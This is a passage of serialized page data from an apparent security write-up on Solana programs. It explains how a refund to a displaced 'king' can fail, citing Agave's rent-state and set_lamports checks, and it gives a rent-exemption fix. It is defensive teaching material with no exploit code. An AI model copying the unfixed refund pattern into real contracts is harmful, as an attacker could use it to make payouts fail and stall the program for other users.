",{"type":20,"tag":35,"props":70673,"children":70676},{"href":70674,"rel":70675},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[39],[70677],{"type":26,"value":45835},{"type":26,"value":61},{"type":20,"tag":305,"props":70680,"children":70682},{"className":1360,"code":70681,"language":1359,"meta":7,"style":7}," fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n match post_rent_state {\n RentState::Uninitialized | RentState::RentExempt => true,\n RentState::RentPaying {\n data_size: post_data_size,\n lamports: post_lamports,\n } => {\n match pre_rent_state {\n RentState::Uninitialized | RentState::RentExempt => false,\n RentState::RentPaying {\n data_size: pre_data_size,\n lamports: pre_lamports,\n } => {\n // Cannot remain RentPaying if resized or credited.\n post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n }\n }\n }\n }\n }\n",[70683],{"type":20,"tag":119,"props":70684,"children":70685},{"__ignoreMap":7},[70686,70770,70787,70833,70853,70874,70895,70910,70927,70971,70990,71011,71032,71048,71056,71089,71096,71103,71110,71117],{"type":20,"tag":315,"props":70687,"children":70688},{"class":317,"line":318},[70689,70694,70699,70703,70707,70711,70715,70720,70724,70728,70733,70737,70742,70746,70750,70754,70758,70762,70766],{"type":20,"tag":315,"props":70690,"children":70691},{"style":541},[70692],{"type":26,"value":70693}," fn",{"type":20,"tag":315,"props":70695,"children":70696},{"style":345},[70697],{"type":26,"value":70698}," transition_allowed",{"type":20,"tag":315,"props":70700,"children":70701},{"style":328},[70702],{"type":26,"value":1049},{"type":20,"tag":315,"props":70704,"children":70705},{"style":334},[70706],{"type":26,"value":1490},{"type":20,"tag":315,"props":70708,"children":70709},{"style":541},[70710],{"type":26,"value":12114},{"type":20,"tag":315,"props":70712,"children":70713},{"style":328},[70714],{"type":26,"value":44},{"type":20,"tag":315,"props":70716,"children":70717},{"style":635},[70718],{"type":26,"value":70719},"pre_rent_state",{"type":20,"tag":315,"props":70721,"children":70722},{"style":334},[70723],{"type":26,"value":2884},{"type":20,"tag":315,"props":70725,"children":70726},{"style":334},[70727],{"type":26,"value":5536},{"type":20,"tag":315,"props":70729,"children":70730},{"style":322},[70731],{"type":26,"value":70732},"RentState",{"type":20,"tag":315,"props":70734,"children":70735},{"style":328},[70736],{"type":26,"value":44},{"type":20,"tag":315,"props":70738,"children":70739},{"style":635},[70740],{"type":26,"value":70741},"post_rent_state",{"type":20,"tag":315,"props":70743,"children":70744},{"style":334},[70745],{"type":26,"value":2884},{"type":20,"tag":315,"props":70747,"children":70748},{"style":334},[70749],{"type":26,"value":5536},{"type":20,"tag":315,"props":70751,"children":70752},{"style":322},[70753],{"type":26,"value":70732},{"type":20,"tag":315,"props":70755,"children":70756},{"style":328},[70757],{"type":26,"value":1468},{"type":20,"tag":315,"props":70759,"children":70760},{"style":334},[70761],{"type":26,"value":12158},{"type":20,"tag":315,"props":70763,"children":70764},{"style":322},[70765],{"type":26,"value":10451},{"type":20,"tag":315,"props":70767,"children":70768},{"style":328},[70769],{"type":26,"value":1092},{"type":20,"tag":315,"props":70771,"children":70772},{"class":317,"line":356},[70773,70778,70783],{"type":20,"tag":315,"props":70774,"children":70775},{"style":525},[70776],{"type":26,"value":70777}," match",{"type":20,"tag":315,"props":70779,"children":70780},{"style":635},[70781],{"type":26,"value":70782}," post_rent_state",{"type":20,"tag":315,"props":70784,"children":70785},{"style":328},[70786],{"type":26,"value":1092},{"type":20,"tag":315,"props":70788,"children":70789},{"class":317,"line":365},[70790,70795,70799,70803,70807,70812,70816,70821,70825,70829],{"type":20,"tag":315,"props":70791,"children":70792},{"style":322},[70793],{"type":26,"value":70794}," RentState",{"type":20,"tag":315,"props":70796,"children":70797},{"style":334},[70798],{"type":26,"value":1861},{"type":20,"tag":315,"props":70800,"children":70801},{"style":322},[70802],{"type":26,"value":70619},{"type":20,"tag":315,"props":70804,"children":70805},{"style":334},[70806],{"type":26,"value":2665},{"type":20,"tag":315,"props":70808,"children":70809},{"style":322},[70810],{"type":26,"value":70811}," RentState",{"type":20,"tag":315,"props":70813,"children":70814},{"style":334},[70815],{"type":26,"value":1861},{"type":20,"tag":315,"props":70817,"children":70818},{"style":322},[70819],{"type":26,"value":70820},"RentExempt",{"type":20,"tag":315,"props":70822,"children":70823},{"style":334},[70824],{"type":26,"value":26169},{"type":20,"tag":315,"props":70826,"children":70827},{"style":541},[70828],{"type":26,"value":544},{"type":20,"tag":315,"props":70830,"children":70831},{"style":328},[70832],{"type":26,"value":643},{"type":20,"tag":315,"props":70834,"children":70835},{"class":317,"line":374},[70836,70840,70844,70849],{"type":20,"tag":315,"props":70837,"children":70838},{"style":322},[70839],{"type":26,"value":70794},{"type":20,"tag":315,"props":70841,"children":70842},{"style":334},[70843],{"type":26,"value":1861},{"type":20,"tag":315,"props":70845,"children":70846},{"style":322},[70847],{"type":26,"value":70848},"RentPaying",{"type":20,"tag":315,"props":70850,"children":70851},{"style":328},[70852],{"type":26,"value":1092},{"type":20,"tag":315,"props":70854,"children":70855},{"class":317,"line":383},[70856,70861,70865,70870],{"type":20,"tag":315,"props":70857,"children":70858},{"style":635},[70859],{"type":26,"value":70860}," data_size",{"type":20,"tag":315,"props":70862,"children":70863},{"style":334},[70864],{"type":26,"value":2884},{"type":20,"tag":315,"props":70866,"children":70867},{"style":635},[70868],{"type":26,"value":70869}," post_data_size",{"type":20,"tag":315,"props":70871,"children":70872},{"style":328},[70873],{"type":26,"value":643},{"type":20,"tag":315,"props":70875,"children":70876},{"class":317,"line":407},[70877,70882,70886,70891],{"type":20,"tag":315,"props":70878,"children":70879},{"style":635},[70880],{"type":26,"value":70881}," lamports",{"type":20,"tag":315,"props":70883,"children":70884},{"style":334},[70885],{"type":26,"value":2884},{"type":20,"tag":315,"props":70887,"children":70888},{"style":635},[70889],{"type":26,"value":70890}," post_lamports",{"type":20,"tag":315,"props":70892,"children":70893},{"style":328},[70894],{"type":26,"value":643},{"type":20,"tag":315,"props":70896,"children":70897},{"class":317,"line":421},[70898,70902,70906],{"type":20,"tag":315,"props":70899,"children":70900},{"style":328},[70901],{"type":26,"value":68850},{"type":20,"tag":315,"props":70903,"children":70904},{"style":334},[70905],{"type":26,"value":13222},{"type":20,"tag":315,"props":70907,"children":70908},{"style":328},[70909],{"type":26,"value":1092},{"type":20,"tag":315,"props":70911,"children":70912},{"class":317,"line":430},[70913,70918,70923],{"type":20,"tag":315,"props":70914,"children":70915},{"style":525},[70916],{"type":26,"value":70917}," match",{"type":20,"tag":315,"props":70919,"children":70920},{"style":635},[70921],{"type":26,"value":70922}," pre_rent_state",{"type":20,"tag":315,"props":70924,"children":70925},{"style":328},[70926],{"type":26,"value":1092},{"type":20,"tag":315,"props":70928,"children":70929},{"class":317,"line":453},[70930,70935,70939,70943,70947,70951,70955,70959,70963,70967],{"type":20,"tag":315,"props":70931,"children":70932},{"style":322},[70933],{"type":26,"value":70934}," RentState",{"type":20,"tag":315,"props":70936,"children":70937},{"style":334},[70938],{"type":26,"value":1861},{"type":20,"tag":315,"props":70940,"children":70941},{"style":322},[70942],{"type":26,"value":70619},{"type":20,"tag":315,"props":70944,"children":70945},{"style":334},[70946],{"type":26,"value":2665},{"type":20,"tag":315,"props":70948,"children":70949},{"style":322},[70950],{"type":26,"value":70811},{"type":20,"tag":315,"props":70952,"children":70953},{"style":334},[70954],{"type":26,"value":1861},{"type":20,"tag":315,"props":70956,"children":70957},{"style":322},[70958],{"type":26,"value":70820},{"type":20,"tag":315,"props":70960,"children":70961},{"style":334},[70962],{"type":26,"value":26169},{"type":20,"tag":315,"props":70964,"children":70965},{"style":541},[70966],{"type":26,"value":7455},{"type":20,"tag":315,"props":70968,"children":70969},{"style":328},[70970],{"type":26,"value":643},{"type":20,"tag":315,"props":70972,"children":70973},{"class":317,"line":486},[70974,70978,70982,70986],{"type":20,"tag":315,"props":70975,"children":70976},{"style":322},[70977],{"type":26,"value":70934},{"type":20,"tag":315,"props":70979,"children":70980},{"style":334},[70981],{"type":26,"value":1861},{"type":20,"tag":315,"props":70983,"children":70984},{"style":322},[70985],{"type":26,"value":70848},{"type":20,"tag":315,"props":70987,"children":70988},{"style":328},[70989],{"type":26,"value":1092},{"type":20,"tag":315,"props":70991,"children":70992},{"class":317,"line":499},[70993,70998,71002,71007],{"type":20,"tag":315,"props":70994,"children":70995},{"style":635},[70996],{"type":26,"value":70997}," data_size",{"type":20,"tag":315,"props":70999,"children":71000},{"style":334},[71001],{"type":26,"value":2884},{"type":20,"tag":315,"props":71003,"children":71004},{"style":635},[71005],{"type":26,"value":71006}," pre_data_size",{"type":20,"tag":315,"props":71008,"children":71009},{"style":328},[71010],{"type":26,"value":643},{"type":20,"tag":315,"props":71012,"children":71013},{"class":317,"line":513},[71014,71019,71023,71028],{"type":20,"tag":315,"props":71015,"children":71016},{"style":635},[71017],{"type":26,"value":71018}," lamports",{"type":20,"tag":315,"props":71020,"children":71021},{"style":334},[71022],{"type":26,"value":2884},{"type":20,"tag":315,"props":71024,"children":71025},{"style":635},[71026],{"type":26,"value":71027}," pre_lamports",{"type":20,"tag":315,"props":71029,"children":71030},{"style":328},[71031],{"type":26,"value":643},{"type":20,"tag":315,"props":71033,"children":71034},{"class":317,"line":521},[71035,71040,71044],{"type":20,"tag":315,"props":71036,"children":71037},{"style":328},[71038],{"type":26,"value":71039}," } ",{"type":20,"tag":315,"props":71041,"children":71042},{"style":334},[71043],{"type":26,"value":13222},{"type":20,"tag":315,"props":71045,"children":71046},{"style":328},[71047],{"type":26,"value":1092},{"type":20,"tag":315,"props":71049,"children":71050},{"class":317,"line":552},[71051],{"type":20,"tag":315,"props":71052,"children":71053},{"style":1071},[71054],{"type":26,"value":71055}," // Cannot remain RentPaying if resized or credited.\n",{"type":20,"tag":315,"props":71057,"children":71058},{"class":317,"line":571},[71059,71064,71068,71072,71076,71080,71084],{"type":20,"tag":315,"props":71060,"children":71061},{"style":635},[71062],{"type":26,"value":71063}," post_data_size",{"type":20,"tag":315,"props":71065,"children":71066},{"style":334},[71067],{"type":26,"value":1664},{"type":20,"tag":315,"props":71069,"children":71070},{"style":635},[71071],{"type":26,"value":71006},{"type":20,"tag":315,"props":71073,"children":71074},{"style":334},[71075],{"type":26,"value":12586},{"type":20,"tag":315,"props":71077,"children":71078},{"style":635},[71079],{"type":26,"value":70890},{"type":20,"tag":315,"props":71081,"children":71082},{"style":334},[71083],{"type":26,"value":6593},{"type":20,"tag":315,"props":71085,"children":71086},{"style":635},[71087],{"type":26,"value":71088}," pre_lamports\n",{"type":20,"tag":315,"props":71090,"children":71091},{"class":317,"line":2031},[71092],{"type":20,"tag":315,"props":71093,"children":71094},{"style":328},[71095],{"type":26,"value":69319},{"type":20,"tag":315,"props":71097,"children":71098},{"class":317,"line":2053},[71099],{"type":20,"tag":315,"props":71100,"children":71101},{"style":328},[71102],{"type":26,"value":69327},{"type":20,"tag":315,"props":71104,"children":71105},{"class":317,"line":2061},[71106],{"type":20,"tag":315,"props":71107,"children":71108},{"style":328},[71109],{"type":26,"value":57138},{"type":20,"tag":315,"props":71111,"children":71112},{"class":317,"line":2070},[71113],{"type":20,"tag":315,"props":71114,"children":71115},{"style":328},[71116],{"type":26,"value":1728},{"type":20,"tag":315,"props":71118,"children":71119},{"class":317,"line":2139},[71120],{"type":20,"tag":315,"props":71121,"children":71122},{"style":328},[71123],{"type":26,"value":1736},{"type":20,"tag":29,"props":71125,"children":71126},{},[71127],{"type":26,"value":71128},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":20,"tag":305,"props":71130,"children":71132},{"className":2638,"code":71131,"language":2637,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[71133],{"type":20,"tag":119,"props":71134,"children":71135},{"__ignoreMap":7},[71136,71152],{"type":20,"tag":315,"props":71137,"children":71138},{"class":317,"line":318},[71139,71143,71148],{"type":20,"tag":315,"props":71140,"children":71141},{"style":345},[71142],{"type":26,"value":1259},{"type":20,"tag":315,"props":71144,"children":71145},{"style":2652},[71146],{"type":26,"value":71147}," rent",{"type":20,"tag":315,"props":71149,"children":71150},{"style":765},[71151],{"type":26,"value":768},{"type":20,"tag":315,"props":71153,"children":71154},{"class":317,"line":356},[71155,71160,71165,71170],{"type":20,"tag":315,"props":71156,"children":71157},{"style":345},[71158],{"type":26,"value":71159},"Rent-exempt",{"type":20,"tag":315,"props":71161,"children":71162},{"style":2652},[71163],{"type":26,"value":71164}," minimum:",{"type":20,"tag":315,"props":71166,"children":71167},{"style":765},[71168],{"type":26,"value":71169}," 0.00089088",{"type":20,"tag":315,"props":71171,"children":71172},{"style":2652},[71173],{"type":26,"value":71174}," SOL\n",{"type":20,"tag":17297,"props":71176,"children":71178},{"id":71177},"fix-1-only-reimburse-if-rent-exempt",[71179],{"type":26,"value":71180},"Fix 1: Only Reimburse if Rent-Exempt",{"type":20,"tag":29,"props":71182,"children":71183},{},[71184],{"type":26,"value":71185},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":20,"tag":305,"props":71187,"children":71189},{"className":38777,"code":71188,"language":38779,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n+}\n",[71190],{"type":20,"tag":119,"props":71191,"children":71192},{"__ignoreMap":7},[71193,71201,71209,71217,71225,71233,71241,71249,71257,71265],{"type":20,"tag":315,"props":71194,"children":71195},{"class":317,"line":318},[71196],{"type":20,"tag":315,"props":71197,"children":71198},{"style":328},[71199],{"type":26,"value":71200},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":20,"tag":315,"props":71202,"children":71203},{"class":317,"line":356},[71204],{"type":20,"tag":315,"props":71205,"children":71206},{"style":765},[71207],{"type":26,"value":71208},"+let rent = Rent::get()?;\n",{"type":20,"tag":315,"props":71210,"children":71211},{"class":317,"line":365},[71212],{"type":20,"tag":315,"props":71213,"children":71214},{"style":765},[71215],{"type":26,"value":71216},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":20,"tag":315,"props":71218,"children":71219},{"class":317,"line":374},[71220],{"type":20,"tag":315,"props":71221,"children":71222},{"style":765},[71223],{"type":26,"value":71224},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":20,"tag":315,"props":71226,"children":71227},{"class":317,"line":383},[71228],{"type":20,"tag":315,"props":71229,"children":71230},{"style":328},[71231],{"type":26,"value":71232}," transfer_from_pda(\n",{"type":20,"tag":315,"props":71234,"children":71235},{"class":317,"line":407},[71236],{"type":20,"tag":315,"props":71237,"children":71238},{"style":328},[71239],{"type":26,"value":71240}," &ctx.accounts.throne.to_account_info(),\n",{"type":20,"tag":315,"props":71242,"children":71243},{"class":317,"line":421},[71244],{"type":20,"tag":315,"props":71245,"children":71246},{"style":328},[71247],{"type":26,"value":71248}," &ctx.accounts.old_king,\n",{"type":20,"tag":315,"props":71250,"children":71251},{"class":317,"line":430},[71252],{"type":20,"tag":315,"props":71253,"children":71254},{"style":328},[71255],{"type":26,"value":71256}," to_reimburse,\n",{"type":20,"tag":315,"props":71258,"children":71259},{"class":317,"line":453},[71260],{"type":20,"tag":315,"props":71261,"children":71262},{"style":328},[71263],{"type":26,"value":71264}," )?;\n",{"type":20,"tag":315,"props":71266,"children":71267},{"class":317,"line":486},[71268],{"type":20,"tag":315,"props":71269,"children":71270},{"style":765},[71271],{"type":26,"value":71272},"+}\n",{"type":20,"tag":29,"props":71274,"children":71275},{},[71276],{"type":26,"value":71277},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":20,"tag":219,"props":71279,"children":71281},{"id":71280},"bug-2-writable-but-untouchable-set_lamports-fails",[71282,71284,71290],{"type":26,"value":71283},"Bug 2: Writable but Untouchable — ",{"type":20,"tag":119,"props":71285,"children":71287},{"className":71286},[],[71288],{"type":26,"value":71289},"set_lamports",{"type":26,"value":71291}," Fails",{"type":20,"tag":29,"props":71293,"children":71294},{},[71295,71297,71304],{"type":26,"value":71296},"Let's look at ",{"type":20,"tag":35,"props":71298,"children":71301},{"href":71299,"rel":71300},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[39],[71302],{"type":26,"value":71303},"BorrowedAccount::set_lamports",{"type":26,"value":61},{"type":20,"tag":305,"props":71306,"children":71308},{"className":1360,"code":71307,"language":1359,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n // An account not owned by the program cannot have its balance decrease\n if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n return Err(InstructionError::ExternalAccountLamportSpend);\n }\n // The balance of read-only may not change\n if !self.is_writable() {\n return Err(InstructionError::ReadonlyLamportChange);\n }\n // The balance of executable accounts may not change\n if self.is_executable_internal() {\n return Err(InstructionError::ExecutableLamportChange);\n }\n // don't touch the account if the lamports do not change\n if self.get_lamports() == lamports {\n return Ok(());\n }\n self.touch()?;\n self.account.set_lamports(lamports);\n Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n !self\n .transaction_context\n .remove_accounts_executable_flag_checks\n && self.account.executable()\n}\n\n",[71309],{"type":20,"tag":119,"props":71310,"children":71311},{"__ignoreMap":7},[71312,71320,71341,71413,71421,71480,71512,71519,71527,71555,71587,71594,71602,71626,71658,71665,71673,71708,71724,71731,71759,71794,71805,71812,71819,71827,71846,71854,71894,71906,71918,71930,71961],{"type":20,"tag":315,"props":71313,"children":71314},{"class":317,"line":318},[71315],{"type":20,"tag":315,"props":71316,"children":71317},{"style":1071},[71318],{"type":26,"value":71319},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":20,"tag":315,"props":71321,"children":71322},{"class":317,"line":356},[71323,71328,71332,71337],{"type":20,"tag":315,"props":71324,"children":71325},{"style":328},[71326],{"type":26,"value":71327},"#[cfg(not(target_os ",{"type":20,"tag":315,"props":71329,"children":71330},{"style":334},[71331],{"type":26,"value":337},{"type":20,"tag":315,"props":71333,"children":71334},{"style":2652},[71335],{"type":26,"value":71336}," \"solana\"",{"type":20,"tag":315,"props":71338,"children":71339},{"style":328},[71340],{"type":26,"value":19012},{"type":20,"tag":315,"props":71342,"children":71343},{"class":317,"line":365},[71344,71348,71352,71357,71361,71365,71369,71373,71377,71381,71385,71389,71393,71397,71401,71405,71409],{"type":20,"tag":315,"props":71345,"children":71346},{"style":541},[71347],{"type":26,"value":12091},{"type":20,"tag":315,"props":71349,"children":71350},{"style":541},[71351],{"type":26,"value":12096},{"type":20,"tag":315,"props":71353,"children":71354},{"style":345},[71355],{"type":26,"value":71356}," set_lamports",{"type":20,"tag":315,"props":71358,"children":71359},{"style":328},[71360],{"type":26,"value":1049},{"type":20,"tag":315,"props":71362,"children":71363},{"style":334},[71364],{"type":26,"value":1490},{"type":20,"tag":315,"props":71366,"children":71367},{"style":541},[71368],{"type":26,"value":2107},{"type":20,"tag":315,"props":71370,"children":71371},{"style":541},[71372],{"type":26,"value":12198},{"type":20,"tag":315,"props":71374,"children":71375},{"style":328},[71376],{"type":26,"value":44},{"type":20,"tag":315,"props":71378,"children":71379},{"style":635},[71380],{"type":26,"value":13913},{"type":20,"tag":315,"props":71382,"children":71383},{"style":334},[71384],{"type":26,"value":2884},{"type":20,"tag":315,"props":71386,"children":71387},{"style":322},[71388],{"type":26,"value":4253},{"type":20,"tag":315,"props":71390,"children":71391},{"style":328},[71392],{"type":26,"value":1468},{"type":20,"tag":315,"props":71394,"children":71395},{"style":334},[71396],{"type":26,"value":12158},{"type":20,"tag":315,"props":71398,"children":71399},{"style":322},[71400],{"type":26,"value":12163},{"type":20,"tag":315,"props":71402,"children":71403},{"style":328},[71404],{"type":26,"value":12168},{"type":20,"tag":315,"props":71406,"children":71407},{"style":322},[71408],{"type":26,"value":14159},{"type":20,"tag":315,"props":71410,"children":71411},{"style":328},[71412],{"type":26,"value":5676},{"type":20,"tag":315,"props":71414,"children":71415},{"class":317,"line":374},[71416],{"type":20,"tag":315,"props":71417,"children":71418},{"style":1071},[71419],{"type":26,"value":71420}," // An account not owned by the program cannot have its balance decrease\n",{"type":20,"tag":315,"props":71422,"children":71423},{"class":317,"line":383},[71424,71428,71432,71436,71440,71445,71449,71454,71459,71463,71467,71471,71476],{"type":20,"tag":315,"props":71425,"children":71426},{"style":525},[71427],{"type":26,"value":10680},{"type":20,"tag":315,"props":71429,"children":71430},{"style":334},[71431],{"type":26,"value":11264},{"type":20,"tag":315,"props":71433,"children":71434},{"style":541},[71435],{"type":26,"value":12114},{"type":20,"tag":315,"props":71437,"children":71438},{"style":334},[71439],{"type":26,"value":61},{"type":20,"tag":315,"props":71441,"children":71442},{"style":345},[71443],{"type":26,"value":71444},"is_owned_by_current_program",{"type":20,"tag":315,"props":71446,"children":71447},{"style":328},[71448],{"type":26,"value":12444},{"type":20,"tag":315,"props":71450,"children":71451},{"style":334},[71452],{"type":26,"value":71453},"&&",{"type":20,"tag":315,"props":71455,"children":71456},{"style":635},[71457],{"type":26,"value":71458}," lamports",{"type":20,"tag":315,"props":71460,"children":71461},{"style":334},[71462],{"type":26,"value":7115},{"type":20,"tag":315,"props":71464,"children":71465},{"style":541},[71466],{"type":26,"value":12198},{"type":20,"tag":315,"props":71468,"children":71469},{"style":334},[71470],{"type":26,"value":61},{"type":20,"tag":315,"props":71472,"children":71473},{"style":345},[71474],{"type":26,"value":71475},"get_lamports",{"type":20,"tag":315,"props":71477,"children":71478},{"style":328},[71479],{"type":26,"value":14137},{"type":20,"tag":315,"props":71481,"children":71482},{"class":317,"line":407},[71483,71487,71491,71495,71499,71503,71508],{"type":20,"tag":315,"props":71484,"children":71485},{"style":525},[71486],{"type":26,"value":14145},{"type":20,"tag":315,"props":71488,"children":71489},{"style":322},[71490],{"type":26,"value":14150},{"type":20,"tag":315,"props":71492,"children":71493},{"style":328},[71494],{"type":26,"value":1049},{"type":20,"tag":315,"props":71496,"children":71497},{"style":322},[71498],{"type":26,"value":14159},{"type":20,"tag":315,"props":71500,"children":71501},{"style":334},[71502],{"type":26,"value":1861},{"type":20,"tag":315,"props":71504,"children":71505},{"style":322},[71506],{"type":26,"value":71507},"ExternalAccountLamportSpend",{"type":20,"tag":315,"props":71509,"children":71510},{"style":328},[71511],{"type":26,"value":2214},{"type":20,"tag":315,"props":71513,"children":71514},{"class":317,"line":421},[71515],{"type":20,"tag":315,"props":71516,"children":71517},{"style":328},[71518],{"type":26,"value":1736},{"type":20,"tag":315,"props":71520,"children":71521},{"class":317,"line":430},[71522],{"type":20,"tag":315,"props":71523,"children":71524},{"style":1071},[71525],{"type":26,"value":71526}," // The balance of read-only may not change\n",{"type":20,"tag":315,"props":71528,"children":71529},{"class":317,"line":453},[71530,71534,71538,71542,71546,71551],{"type":20,"tag":315,"props":71531,"children":71532},{"style":525},[71533],{"type":26,"value":10680},{"type":20,"tag":315,"props":71535,"children":71536},{"style":334},[71537],{"type":26,"value":11264},{"type":20,"tag":315,"props":71539,"children":71540},{"style":541},[71541],{"type":26,"value":12114},{"type":20,"tag":315,"props":71543,"children":71544},{"style":334},[71545],{"type":26,"value":61},{"type":20,"tag":315,"props":71547,"children":71548},{"style":345},[71549],{"type":26,"value":71550},"is_writable",{"type":20,"tag":315,"props":71552,"children":71553},{"style":328},[71554],{"type":26,"value":14137},{"type":20,"tag":315,"props":71556,"children":71557},{"class":317,"line":486},[71558,71562,71566,71570,71574,71578,71583],{"type":20,"tag":315,"props":71559,"children":71560},{"style":525},[71561],{"type":26,"value":14145},{"type":20,"tag":315,"props":71563,"children":71564},{"style":322},[71565],{"type":26,"value":14150},{"type":20,"tag":315,"props":71567,"children":71568},{"style":328},[71569],{"type":26,"value":1049},{"type":20,"tag":315,"props":71571,"children":71572},{"style":322},[71573],{"type":26,"value":14159},{"type":20,"tag":315,"props":71575,"children":71576},{"style":334},[71577],{"type":26,"value":1861},{"type":20,"tag":315,"props":71579,"children":71580},{"style":322},[71581],{"type":26,"value":71582},"ReadonlyLamportChange",{"type":20,"tag":315,"props":71584,"children":71585},{"style":328},[71586],{"type":26,"value":2214},{"type":20,"tag":315,"props":71588,"children":71589},{"class":317,"line":499},[71590],{"type":20,"tag":315,"props":71591,"children":71592},{"style":328},[71593],{"type":26,"value":1736},{"type":20,"tag":315,"props":71595,"children":71596},{"class":317,"line":513},[71597],{"type":20,"tag":315,"props":71598,"children":71599},{"style":1071},[71600],{"type":26,"value":71601}," // The balance of executable accounts may not change\n",{"type":20,"tag":315,"props":71603,"children":71604},{"class":317,"line":521},[71605,71609,71613,71617,71622],{"type":20,"tag":315,"props":71606,"children":71607},{"style":525},[71608],{"type":26,"value":10680},{"type":20,"tag":315,"props":71610,"children":71611},{"style":541},[71612],{"type":26,"value":12198},{"type":20,"tag":315,"props":71614,"children":71615},{"style":334},[71616],{"type":26,"value":61},{"type":20,"tag":315,"props":71618,"children":71619},{"style":345},[71620],{"type":26,"value":71621},"is_executable_internal",{"type":20,"tag":315,"props":71623,"children":71624},{"style":328},[71625],{"type":26,"value":14137},{"type":20,"tag":315,"props":71627,"children":71628},{"class":317,"line":552},[71629,71633,71637,71641,71645,71649,71654],{"type":20,"tag":315,"props":71630,"children":71631},{"style":525},[71632],{"type":26,"value":14145},{"type":20,"tag":315,"props":71634,"children":71635},{"style":322},[71636],{"type":26,"value":14150},{"type":20,"tag":315,"props":71638,"children":71639},{"style":328},[71640],{"type":26,"value":1049},{"type":20,"tag":315,"props":71642,"children":71643},{"style":322},[71644],{"type":26,"value":14159},{"type":20,"tag":315,"props":71646,"children":71647},{"style":334},[71648],{"type":26,"value":1861},{"type":20,"tag":315,"props":71650,"children":71651},{"style":322},[71652],{"type":26,"value":71653},"ExecutableLamportChange",{"type":20,"tag":315,"props":71655,"children":71656},{"style":328},[71657],{"type":26,"value":2214},{"type":20,"tag":315,"props":71659,"children":71660},{"class":317,"line":571},[71661],{"type":20,"tag":315,"props":71662,"children":71663},{"style":328},[71664],{"type":26,"value":1736},{"type":20,"tag":315,"props":71666,"children":71667},{"class":317,"line":2031},[71668],{"type":20,"tag":315,"props":71669,"children":71670},{"style":1071},[71671],{"type":26,"value":71672}," // don't touch the account if the lamports do not change\n",{"type":20,"tag":315,"props":71674,"children":71675},{"class":317,"line":2053},[71676,71680,71684,71688,71692,71696,71700,71704],{"type":20,"tag":315,"props":71677,"children":71678},{"style":525},[71679],{"type":26,"value":10680},{"type":20,"tag":315,"props":71681,"children":71682},{"style":541},[71683],{"type":26,"value":12198},{"type":20,"tag":315,"props":71685,"children":71686},{"style":334},[71687],{"type":26,"value":61},{"type":20,"tag":315,"props":71689,"children":71690},{"style":345},[71691],{"type":26,"value":71475},{"type":20,"tag":315,"props":71693,"children":71694},{"style":328},[71695],{"type":26,"value":12444},{"type":20,"tag":315,"props":71697,"children":71698},{"style":334},[71699],{"type":26,"value":538},{"type":20,"tag":315,"props":71701,"children":71702},{"style":635},[71703],{"type":26,"value":71458},{"type":20,"tag":315,"props":71705,"children":71706},{"style":328},[71707],{"type":26,"value":1092},{"type":20,"tag":315,"props":71709,"children":71710},{"class":317,"line":2061},[71711,71715,71719],{"type":20,"tag":315,"props":71712,"children":71713},{"style":525},[71714],{"type":26,"value":14145},{"type":20,"tag":315,"props":71716,"children":71717},{"style":322},[71718],{"type":26,"value":41355},{"type":20,"tag":315,"props":71720,"children":71721},{"style":328},[71722],{"type":26,"value":71723},"(());\n",{"type":20,"tag":315,"props":71725,"children":71726},{"class":317,"line":2070},[71727],{"type":20,"tag":315,"props":71728,"children":71729},{"style":328},[71730],{"type":26,"value":1736},{"type":20,"tag":315,"props":71732,"children":71733},{"class":317,"line":2139},[71734,71738,71742,71747,71751,71755],{"type":20,"tag":315,"props":71735,"children":71736},{"style":541},[71737],{"type":26,"value":19190},{"type":20,"tag":315,"props":71739,"children":71740},{"style":334},[71741],{"type":26,"value":61},{"type":20,"tag":315,"props":71743,"children":71744},{"style":345},[71745],{"type":26,"value":71746},"touch",{"type":20,"tag":315,"props":71748,"children":71749},{"style":328},[71750],{"type":26,"value":12280},{"type":20,"tag":315,"props":71752,"children":71753},{"style":334},[71754],{"type":26,"value":1537},{"type":20,"tag":315,"props":71756,"children":71757},{"style":328},[71758],{"type":26,"value":1405},{"type":20,"tag":315,"props":71760,"children":71761},{"class":317,"line":2147},[71762,71766,71770,71774,71778,71782,71786,71790],{"type":20,"tag":315,"props":71763,"children":71764},{"style":541},[71765],{"type":26,"value":19190},{"type":20,"tag":315,"props":71767,"children":71768},{"style":334},[71769],{"type":26,"value":61},{"type":20,"tag":315,"props":71771,"children":71772},{"style":328},[71773],{"type":26,"value":11353},{"type":20,"tag":315,"props":71775,"children":71776},{"style":334},[71777],{"type":26,"value":61},{"type":20,"tag":315,"props":71779,"children":71780},{"style":345},[71781],{"type":26,"value":71289},{"type":20,"tag":315,"props":71783,"children":71784},{"style":328},[71785],{"type":26,"value":1049},{"type":20,"tag":315,"props":71787,"children":71788},{"style":635},[71789],{"type":26,"value":13913},{"type":20,"tag":315,"props":71791,"children":71792},{"style":328},[71793],{"type":26,"value":2214},{"type":20,"ta